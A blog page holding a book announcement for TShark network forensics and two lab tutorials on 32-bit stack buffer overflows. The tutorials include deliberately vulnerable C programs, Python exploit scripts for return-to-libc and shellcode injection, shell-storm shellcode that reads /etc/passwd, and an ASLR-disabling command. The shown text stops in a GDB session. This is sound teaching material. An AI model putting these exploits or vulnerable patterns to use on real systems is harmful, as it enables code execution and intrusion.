Wednesday, June 3, 2020

Mastering TShark Network Forensics - Moving from Zero to Hero


Mastering TShark Network Forensics - Moving From Zero To Hero


The wait is finally over! The book you have been waiting on to make you a Master of TShark Network Forensics - Moving from Zero to Hero, is finally here!!!

Be it you are a Network Engineer, a Network Forensics Analyst, someone new to packet analysis or someone who occasionally looks at packet, this book is guaranteed to improve your TShark skills, while moving you from Zero to Hero.

Mastering TShark Network Forensics, can be considered the definitive repository of TShark knowledge. It is your one-stop shop for all you need to Master TShark, with adequate references to allow you to go deeper on peripheral topics if you so choose.

Book Objectives
1. Introduce packet capturing architecture
2. Teach the basics of TShark
3. Teach some not so basic TShark tricks
4. Solve real world challenges with TShark
5. Identify services hiding behind other protocols
8  Mastering TShark Network Forensics
6. Perform “hands-free” packet capture with TShark
7. Analyze and decrypt TLS encrypted traffic
8. Analyze and decrypt WPA2 Personal Traffic
9. Going way beyond – Leveraging TShark and Python for IP threat intelligence
10. Introduce Lua scripts
11. Introduce packet editing
12. Introduce packet merging
13. Introduce packet rewriting
14. Introduce remote packet capturing


Who is this book for?
While this book is written specifically for Network Forensics Analysts, it is equally beneficial to anyone who
supports the network infrastructure. This means, Network Administrators, Security Specialists, Network
Engineers, etc., will all benefit from this book. Considering the preceding, I believe the following represents the
right audience for this book:
• Individuals starting off their Cybersecurity careers
• Individuals working in a Cyber/Security Operations Center (C/SOC)
• General practitioners of Cybersecurity
• Experienced Cybersecurity Ninjas who may be looking for a trick or two
• Anyone who just wishes to learn more about TShark and its uses in network forensics
• Anyone involved in network forensics
• More importantly, anyhow who is looking for a good read

Grab a copy from Amazon:

Not sure if this book is for you? Take a glimpse at the sample chapter before committing to it.
Mastering TShark sample chapters can be found at:
https://bit.ly/TShark

All PCAPS used within this book can be found at:
https://github.com/SecurityNik/SUWtHEh-

As an addition to this book, the tool, pktIntel: Tool used to perform threat intelligence against packet data can be found at:
https://github.com/SecurityNik/pktIntel

Friday, May 22, 2020

Continuing Stack Based Buffer Overflow - Return to LibC

In the previous post, we compiled the program with the "-z execstack" option. This allowed us to execute shellcode on the stack. However, with non-executable stacks, we are unable to execute code on the stack.

Here we have a simple program similar to the last one.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <string.h>

/* 
To compile as 32 bit application
gcc -m32 -z noexecstack -o retLibC retLibC.c -mpreferred-stack-boundary=2
*/

int main(int argc, char *argv[])
    {
        // Define the buffer of 8 bytes
        char userInput[8];

        /* copy the contents of the first argument into user input.
           Notice the problem already? userInput is 8 bytes but we 
           did not limit the number of bytes the users could input.
           Like the previous post with gets() strcpy() is not checking 
           the user input. Thus the user can enter greater than 8 bytes.
        */
        strcpy(userInput, argv[1]);

        // Print the user input back to the screen.
        printf("you entered %s \n", userInput);
        return 0;
    }

We then compile it as follow:

1
gcc -m32 -z noexecstack -o retLibC retLibC.c -mpreferred-stack-boundary=2

When we execute the program we get:

1
2
3
┌─[securitynik@securitynik]─[~]
└──╼ $./retLibC Welcome
You entered Welcome

If we entered more than the the buffer is configured for, we see we get a segmentation fault.

1
2
3
4
┌─[securitynik@securitynik]─[~]
└──╼ $./retLibC "Welcome to SecurityNik World!"
You entered Welcome to SecurityNik World!
Segmentation fault (core dumped)

If we look at the dmesg file, we see below confirming the crash and the address of the Instruction Pointer (IP)

1
2
3
4
5
─[securitynik@securitynik]─[~]
└──╼ $sudo dmesg --human --ctime

[Fri May 15 02:05:05 2020] retLibC[7309]: segfault at 4e797469 ip 0>
[Fri May 15 02:05:05 2020] Code: Bad RIP value.

Similar to the previous post, let's use a pattern again to find where the fault occurs.

First we create the pattern while printing it to the screen. Secondly, we send the pattern to a file to be used as input.

1
2
3
4
5
┌─[✗]─[securitynik@securitynik]─[~]
└──╼ $msf-pattern_create --length 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
┌─[securitynik@securitynik]─[~]
└──╼ $msf-pattern_create --length 100 > libc.pattern

Now that we have a pattern, let's load up GDB.

1
2
3
4
5
6
┌─[✗]─[securitynik@securitynik]─[~]
└──╼ $gdb ./retLibC -q
pwndbg: loaded 187 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./retLibC...
(No debugging symbols found in ./retLibC)

Let's feed the libc.pattern file as input to the program in GDB.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
pwndbg> run $(cat libc.pattern)
Starting program: /home/securitynik/retLibC $(cat libc.pattern)
You entered Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Program received signal SIGSEGV, Segmentation fault.
0x61413561 in ?? ()

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────[ REGISTERS ]───────────────────────────────────────
 EAX  0x0
 EBX  0x33614132 ('2Aa3')
 ECX  0x0
 EDX  0x56557018 ◂— 0x0
 EDI  0xf7fac000 ◂— 0x1dfd6c
 ESI  0xf7fac000 ◂— 0x1dfd6c
 EBP  0x41346141 ('Aa4A')
 ESP  0xffffd200 ◂— '6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
 EIP  0x61413561 ('a5Aa')
────────────────────────────────────────[ DISASM ]─────────────────────────────────────────

Invalid address 0x61413561



─────────────────────────────────────────[ STACK ]─────────────────────────────────────────
00:0000 esp  0xffffd200 ◂— '6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
01:0004      0xffffd204 ◂— 'Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
02:0008      0xffffd208 ◂— 'a9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
03:000c│      0xffffd20c ◂— '0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
04:0010      0xffffd210 ◂— 'Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
05:0014      0xffffd214 ◂— 'b3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
06:0018      0xffffd218 ◂— '4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
07:001c│      0xffffd21c ◂— 'Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
───────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────
  f 0 61413561
   f 1 37614136
   f 2 41386141
   f 3 62413961
   f 4 31624130
   f 5 41326241
   f 6 62413362
   f 7 35624134
   f 8 41366241
   f 9 62413762
   f 10 39624138
───────────────────────────────────────────────────────────────────────────────────────────
pwndbg>

From above, we see

1
EIP  0x61413561 ('a5Aa')

We will use msf-pattern_offset to find where the crash occurred. However, while we are here, let's look for a few things.
1. Location of the system() function
2. Location of the exit() function
3. Location of a shell. We can try to locate /bin/sh or /bin/bash

Let's find the system() function first. This can be achieved by using the print commands

1
2
pwndbg> print system
$1 = {<text variable, no debug info>} 0xf7e105f0 <system>

Using a similar method, let's find the exit() function

1
2
pwndbg> print exit
$2 = {<text variable, no debug info>} 0xf7e03360 <exit>

We now have 2 out of our 3 things needed. For the shell, we may have that information in the environment variable. Let's see if we can find it there.

Let's set a break at main() and verify its existence using info break.

1
2
3
4
5
pwndbg> break main
Breakpoint 1 at 0x565561ad
pwndbg> info break
Num     Type           Disp Enb Address    What
1       breakpoint     keep y   0x565561ad <main+4>

Let's run the program again.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
pwndbg> run Test
Starting program: /home/securitynik/retLibC Test

Breakpoint 1, 0x565561ad in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────[ REGISTERS ]───────────────────────────────────────
 EAX  0xf7fae808 (environ) —▸ 0xffffd300 —▸ 0xffffd49c ◂— 'SHELL=/bin/bash'
 EBX  0x0
 ECX  0x87198fdb
 EDX  0xffffd284 ◂— 0x0
 EDI  0xf7fac000 ◂— 0x1dfd6c
 ESI  0xf7fac000 ◂— 0x1dfd6c
 EBP  0xffffd258 ◂— 0x0
 ESP  0xffffd254 ◂— 0x0
 EIP  0x565561ad (main+4) ◂— sub    esp, 8
────────────────────────────────────────[ DISASM ]─────────────────────────────────────────
  0x565561ad <main+4>     sub    esp, 8
   0x565561b0 <main+7>     call   __x86.get_pc_thunk.bx <0x565560b0>

   0x565561b5 <main+12>    add    ebx, 0x2e4b
   0x565561bb <main+18>    mov    eax, dword ptr [ebp + 0xc]
   0x565561be <main+21>    add    eax, 4
   0x565561c1 <main+24>    mov    eax, dword ptr [eax]
   0x565561c3 <main+26>    push   eax
   0x565561c4 <main+27>    lea    eax, [ebp - 0xc]
   0x565561c7 <main+30>    push   eax
   0x565561c8 <main+31>    call   strcpy@plt <0x56556040>

   0x565561cd <main+36>    add    esp, 8
─────────────────────────────────────────[ STACK ]─────────────────────────────────────────
00:0000 esp  0xffffd254 ◂— 0x0
... 
02:0008      0xffffd25c —▸ 0xf7deaef1 (__libc_start_main+241) ◂— add    esp, 0x10
03:000c│      0xffffd260 ◂— 0x2
04:0010      0xffffd264 —▸ 0xffffd2f4 —▸ 0xffffd47d ◂— '/home/securitynik/retLibC'
05:0014      0xffffd268 —▸ 0xffffd300 —▸ 0xffffd49c ◂— 'SHELL=/bin/bash'
06:0018      0xffffd26c —▸ 0xffffd284 ◂— 0x0
07:001c│      0xffffd270 ◂— 0x1
───────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────
  f 0 565561ad main+4
   f 1 f7deaef1 __libc_start_main+241
───────────────────────────────────────────────────────────────────────────────────────────
pwndbg>

If we look closely at the above, we see

1
05:0014      0xffffd268 —▸ 0xffffd300 —▸ 0xffffd49c ◂— 'SHELL=/bin/bash'

This tells us that 'SHELL=/bin/bash' can be found at 0xffffd49c. However, we don't need the entire string, we just need the part that has /bin/bash. To do this lets add 6 bytes to 0xffffd49c. These 6 bytes represents "SHELL=". Let's use GDB to confirm we are correct by looking at 1 String starting at address 0xffffd49c+6.

1
2
pwndbg> x/1s 0xffffd49c+6
0xffffd4a2: "/bin/bash"

Looks good. Let's now find /bin/sh  via the long way first.

If we look at the process memory mapping, we see

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> info proc mappings
process 7451

Mapped address spaces:
 Start Addr   End Addr       Size     Offset objfile
 0x56555000 0x56556000     0x1000        0x0 /home/securitynik/retLibC
 0x56556000 0x56557000     0x1000     0x1000 /home/securitynik/retLibC
 0x56557000 0x56558000     0x1000     0x2000 /home/securitynik/retLibC
 0x56558000 0x56559000     0x1000     0x2000 /home/securitynik/retLibC
 0x56559000 0x5655a000     0x1000     0x3000 /home/securitynik/retLibC
 0xf7dcc000 0xf7de9000    0x1d000        0x0 /usr/lib32/libc-2.30.so
 0xf7de9000 0xf7f3b000   0x152000    0x1d000 /usr/lib32/libc-2.30.so
 0xf7f3b000 0xf7faa000    0x6f000   0x16f000 /usr/lib32/libc-2.30.so
 0xf7faa000 0xf7fac000     0x2000   0x1dd000 /usr/lib32/libc-2.30.so
 0xf7fac000 0xf7fae000     0x2000   0x1df000 /usr/lib32/libc-2.30.so
 0xf7fae000 0xf7fb0000     0x2000        0x0
 0xf7fce000 0xf7fd0000     0x2000        0x0
 0xf7fd0000 0xf7fd3000     0x3000        0x0 [vvar]
 0xf7fd3000 0xf7fd4000     0x1000        0x0 [vdso]
 0xf7fd4000 0xf7fd5000     0x1000        0x0 /usr/lib32/ld-2.30.so
 0xf7fd5000 0xf7ff1000    0x1c000     0x1000 /usr/lib32/ld-2.30.so
 0xf7ff1000 0xf7ffc000     0xb000    0x1d000 /usr/lib32/ld-2.30.so
 0xf7ffc000 0xf7ffd000     0x1000    0x27000 /usr/lib32/ld-2.30.so
 0xf7ffd000 0xf7ffe000     0x1000    0x28000 /usr/lib32/ld-2.30.so
 0xfffdd000 0xffffe000    0x21000        0x0 [stack]

Let's search the memory space of /usr/lib32/libc-2.30.so for /bin/sh. That starting address is 0xf7dcc000 with ending address 0xf7fae000. Running the find command.

1
2
3
pwndbg> find 0xf7dcc000,0xf7fae000,"/bin/sh"
0xf7f54406
1 pattern found.

Above we see GDB reports 1 match found. Let's confirm this match by looking at the string at that address.

1
2
pwndbg> x/1s 0xf7f54406
0xf7f54406: "/bin/sh"

There it is, we found the /bin/sh string.

The easier way to find that string since I am using "pwndbg", is to use the search command.

1
2
pwndbg> search "/bin/sh"
libc-2.30.so    0xf7f54406 '/bin/sh'

At this point, we have the 3 things we mentioned above. The location of system(), exit() and the shell.

Let's use /bin/sh in our example.

Here our "exploit" script.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python

import struct

if __name__ == '__main__':
    # Create a file to store payload which will be used as input to sample program.

    input_fp = open('input-libC', 'w')

    '''
    Specify the location where the system() function can be found.
    Convert the address to little endian
    '''
    system_location = struct.pack('<L', 0xf7e105f0)

    '''
    Specify the location where the exit() function can be found.
    Convert the address to little endian
    '''

    exit_location = struct.pack('<L', 0xf7e03360)

    '''
    Specify the location where the exit() function can be found.
    Convert the address to little endian
    '''

    bin_sh_location = struct.pack('<L', 0xf7f54406)

    # put it all together. The 16 As overflow the buffer
    ret_to_libC = "A"*16 + system_location + exit_location + bin_sh_location
    print(ret_to_libC)

When we run this script, we see

1
2
3
┌─[securitynik@securitynik]─[~]
└──╼ $./exploit-retLibC.py
AAAAAAAAAAAAAAAA���`3��D��

Let's now test in GDB, starting with deleting the previously added breakpoint.

1
2
3
pwndbg> del breakpoints
pwndbg> info breakpoints
No breakpoints or watchpoints.

Using the exploit script as input to the program.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
pwndbg> run $(python exploit-retLibC.py)
Starting program: /home/securitynik/retLibC $(python exploit-retLibC.py)
You entered AAAAAAAAAAAAAAAA���`3��D��
[Attaching after process 7559 vfork to child process 7561]
[New inferior 2 (process 7561)]
[Detaching vfork parent process 7559 after child exec]
[Inferior 1 (process 7559) detached]
process 7561 is executing new program: /usr/bin/dash
[Attaching after process 7561 fork to child process 7562]
[New inferior 3 (process 7562)]
[Detaching after fork from parent process 7561]
[Inferior 2 (process 7561) detached]
process 7562 is executing new program: /usr/bin/dash
$

Looks like it works within GDB. Let's see if it also works outside of GDB.

Type quit to exit GDB.

1
pwndbg> quit

Running the script at the command prompt

1
2
3
4
5
6
7
┌─[securitynik@securitynik]─[~]
└──╼ $./retLibC $(python exploit-retLibC.py)
You entered AAAAAAAAAAAAAAAA���`3��D��
$ id --user
1000
$ uname --nodename --machine
securitynik x86_64

Above, we see we got a shell via "/bin/sh"

That's it. See you in the next post.

References:
https://css.csail.mit.edu/6.858/2014/readings/return-to-libc.pdf
https://www.exploit-db.com/docs/english/28553-linux-classic-return-to-libc-&-return-to-libc-chaining-tutorial.pdf
phrack.org/issues/58/4.html
https://www.youtube.com/watch?v=LBo56Xyowvk
https://www.youtube.com/watch?v=m17mV24TgwY
https://outflux.net/blog/archives/2014/01/27/fstack-protector-strong/
https://github.com/pwndbg/pwndbg

Saturday, May 9, 2020

Continuing Buffer Overflow - The Basics

In a previous post, we worked on buffer overflows. In that post I kept it simple, by having the "arbitrary code" within the same program. That example was meant to perform the simplest of buffer overflows. However, I did have the question asked about running code which is not part of the compiled program. The concepts from that post remains the same. However, this quick post is meant to close that loop.

Here we have the sample code for the vulnerable application.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
// gcc -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 sample.c -o sample

// SecurityNik buffer overflow demo


int main()
{   
    // declare a buffer of size 8 bytes 
    char pass[8];

    // Read the input. Get's does not check the size of the input and thus allows for buffer overlflow
    gets(pass);

    // Simply print the output back to the screen.
    puts(pass);

    return 0;
}

For simplicity I disabled Address Space Layout Randomization (ASLR) via

1
sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"

I then compiled the program. Note the errors below about "gets" being a vulnerable function. The program still compiles though.

1
2
3
4
5
6
7
8
9
┌─[securitynik@securitynik]─[~]
└──╼ $gcc -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 sample.c -o sample
sample.c: In function ‘main’:
sample.c:13:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration]
   13 |     gets(pass);
      |     ^~~~
      |     fgets
/usr/bin/ld: /tmp/cctuep9t.o: in function `main':
sample.c:(.text+0x17): warning: the `gets' function is dangerous and should not be used.

After compilation, I run the program and we see.

1
2
3
4
┌─[securitynik@securitynik]─[~]
└──╼ $./sample 
Welcome
Welcome

Let's now test if the program will crash and where. To do this, let's leverage "msf-pattern_create" and "msf-pattern_offset".

1
2
3
┌─[securitynik@securitynik]─[~]
└──╼ $msf-pattern_create --length 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Now that we have the pattern of length 100, let's redirect it to a file named "pattern.txt". This file will be used as input to the sample program.

1
2
3
4
5
┌─[securitynik@securitynik]─[~]
└──╼ $msf-pattern_create --length 100 > pattern.txt
┌─[securitynik@securitynik]─[~]
└──╼ $cat pattern.txt 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Using the "pattern.txt" file as input to te sample program.

1
2
3
4
┌─[securitynik@securitynik]─[~]
└──╼ $./sample < pattern.txt 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Segmentation fault

Above we see the program has crashed with a "Segmentation fault"

Now let's use that file as input to the compiled program in GDB, so as to identify the offset where the crash occurred.

First load the program in GDB.

1
2
3
4
5
6
[✗]─[securitynik@securitynik]─[~]
└──╼ $gdb ./sample -q
pwndbg: loaded 187 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./sample...
(No debugging symbols found in ./sample)

Then within GDB, we now run the program using "pattern.txt" once again as input.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
pwndbg> run < pattern.txt 
Starting program: /home/securitynik/sample < pattern.txt
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Program received signal SIGSEGV, Segmentation fault.
0x61413561 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────
 EAX  0x0
 EBX  0x33614132 ('2Aa3')
 ECX  0xffffffff
 EDX  0xffffffff
 EDI  0xf7fac000 ◂— insb   byte ptr es:[edi], dx /* 0x1dfd6c */
 ESI  0xf7fac000 ◂— insb   byte ptr es:[edi], dx /* 0x1dfd6c */
 EBP  0x41346141 ('Aa4A')
 ESP  0xffffd270 ◂— '6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
 EIP  0x61413561 ('a5Aa')
───────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────
Invalid address 0x61413561










───────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────
00:0000 esp  0xffffd270 ◂— '6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
01:0004      0xffffd274 ◂— 'Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
02:0008      0xffffd278 ◂— 'a9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
03:000c│      0xffffd27c ◂— '0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
04:0010      0xffffd280 ◂— 'Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
05:0014      0xffffd284 ◂— 'b3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
06:0018      0xffffd288 ◂— '4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
07:001c│      0xffffd28c ◂— 'Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
─────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────
  f 0 61413561
   f 1 37614136
   f 2 41386141
   f 3 62413961
   f 4 31624130
   f 5 41326241
   f 6 62413362
   f 7 35624134
   f 8 41366241
   f 9 62413762
   f 10 39624138
────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 

Looking at the registers above, we see the EIP registers has a value of 0x61413561 ('a5Aa')

This can be further be found by executing.

1
2
pwndbg> info registers eip
eip            0x61413561          0x61413561

If you would like to validate the hex value "0x61413561" translates to "('a5Aa')", then simply execute the "echo" command in conjunction with "xxd -r". This tells "xxd" to perform a reverse operation.

1
2
3
┌─[securitynik@securitynik]─[~]
└──╼ $echo "0x61413561" | xxd -r
aA5a

Now that we have the pattern 'a5Aa', let's feed this into "msf-pattern_offset" as shown below.

1
2
3
[securitynik@securitynik]─[~]
└──╼ $msf-pattern_offset --query a5Aa --length 100
[*] Exact match at offset 16

Looking at above, it seems offset 16 is where the EIP starts. Therefore in theory, a pattern of "AAAAAAAABBBBCCCC" should get us to the return pointer and "DDDD" should overwrite the return pointer.

Even though the program crashed and we can possibly overwrite the return pointer, are we able to perform any write and or execute actions on the stack? Let's look at the program memory map.

Execute the program again.

1
2
┌─[securitynik@securitynik]─[~]
└──╼ $./sample 

Perform a "grep" to find the sample program PID

1
2
3
4
┌─[✗]─[securitynik@securitynik]─[~]
└──╼ $ps aux | grep sample
securit+    9003  0.0  0.0   2416   556 pts/1    S+   13:12   0:00 ./sample
securit+    9008  0.0  0.0   6156   840 pts/0    S+   13:12   0:00 grep --color=auto sample

The PID is reported above as 9003. Let's now look at the memory map, via the proc file system

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
─[securitynik@securitynik]─[~]
└──╼ $cat /proc/9003/maps
56555000-56558000 r-xp 00000000 00:17 422036                             /home/securitynik/sample
56558000-56559000 r-xp 00002000 00:17 422036                             /home/securitynik/sample
56559000-5655a000 rwxp 00003000 00:17 422036                             /home/securitynik/sample
5655a000-5657c000 rwxp 00000000 00:00 0                                  [heap]
f7dcc000-f7faa000 r-xp 00000000 00:17 98568                              /usr/lib32/libc-2.30.so
f7faa000-f7fac000 r-xp 001dd000 00:17 98568                              /usr/lib32/libc-2.30.so
f7fac000-f7fae000 rwxp 001df000 00:17 98568                              /usr/lib32/libc-2.30.so
f7fae000-f7fb0000 rwxp 00000000 00:00 0 
f7fce000-f7fd0000 rwxp 00000000 00:00 0 
f7fd0000-f7fd3000 r--p 00000000 00:00 0                                  [vvar]
f7fd3000-f7fd4000 r-xp 00000000 00:00 0                                  [vdso]
f7fd4000-f7ffc000 r-xp 00000000 00:17 98561                              /usr/lib32/ld-2.30.so
f7ffc000-f7ffd000 r-xp 00027000 00:17 98561                              /usr/lib32/ld-2.30.so
f7ffd000-f7ffe000 rwxp 00028000 00:17 98561                              /usr/lib32/ld-2.30.so
fffdd000-ffffe000 rwxp 00000000 00:00 0                                  [stack]

Interesting! We can perform write and execute actions on the stack, as seen via the "rwxp" permissions.

Let's now grab some shellcode. I grabbed a shellcode from shell-storm.org.

In all honesty, I tried a few shellcodes before I found one that worked. Once I found one that worked, I added it to the following script: This shellcode writes the "/etc/passed" file to screen.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python

# Downloaded shellcode
# http://shell-storm.org/shellcode/files/shellcode-571.php

if __name__ == '__main__':

    # Create a file to store payload which will be used as input to sample program.
    input_fp = open('input', 'w')

    # Shellcode to print contents of /etc/passwd file to screen
    sc = (
        "\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64" 
  "\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80"
    )

    '''
    Declare a variable consisting of:
    16 As representing our buffer, any padding and the EBP
    '\x00\xd3\xff\xff' - an address for us to jump to
    '\x90'*100 - because we are not sure where our code will land in memory, add a nop slide
    sc - our shellcode
    '''

    myBuffer = 'A'*16 +  '\x00\xd3\xff\xff' + '\x90'*200 + sc

    # Write the contents out to a file named input as declared above.
    input_fp.write(myBuffer)

Execute the "exploit.py" script and display the contents using "cat" command.

1
2
3
4
5
6
7
┌─[securitynik@securitynik]─[~]
└──╼ $./exploit.py 
┌─[securitynik@securitynik]─[~]
└──╼ $cat input 
AAAAAAAAAAAAAAAA�������������������������������������������������������������������������������������������������������1��Rh/cath/bin��Rhsswdh//pah/etc��
                                                 RQS��̀┌─[securitynik@securitynik]─[~]
└──╼ $

Looks interesting. Let's now take a look to see what we get in GDB before running outside in the bash shell.

Load the program up again in GDB.

1
2
3
4
5
6
┌─[securitynik@securitynik]─[~]
└──╼ $gdb ./sample -q
pwndbg: loaded 187 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./sample...
(No debugging symbols found in ./sample)

Look at the functions to set a breakpoint

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x00001000  _init
0x00001030  gets@plt
0x00001040  __libc_start_main@plt
0x00001050  __cxa_finalize@plt
0x00001058  puts@plt
0x00001060  _start
0x000010a0  __x86.get_pc_thunk.bx
0x000010b0  deregister_tm_clones
0x000010f0  register_tm_clones
0x00001140  __do_global_dtors_aux
0x00001190  frame_dummy
0x00001195  __x86.get_pc_thunk.dx
0x00001199  main
0x000011d0  __libc_csu_init
0x00001230  __libc_csu_fini
0x00001231  __x86.get_pc_thunk.bp
0x00001238  _fini

Let's now set a breakpoint just before "0x00001058  puts@plt" is executed.

1
2
pwndbg> break puts@plt
Breakpoint 1 at 0x1058

Run the program again.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
pwndbg> run < input 
Starting program: /home/securitynik/sample < input

Breakpoint 1, 0x56556058 in puts@plt ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
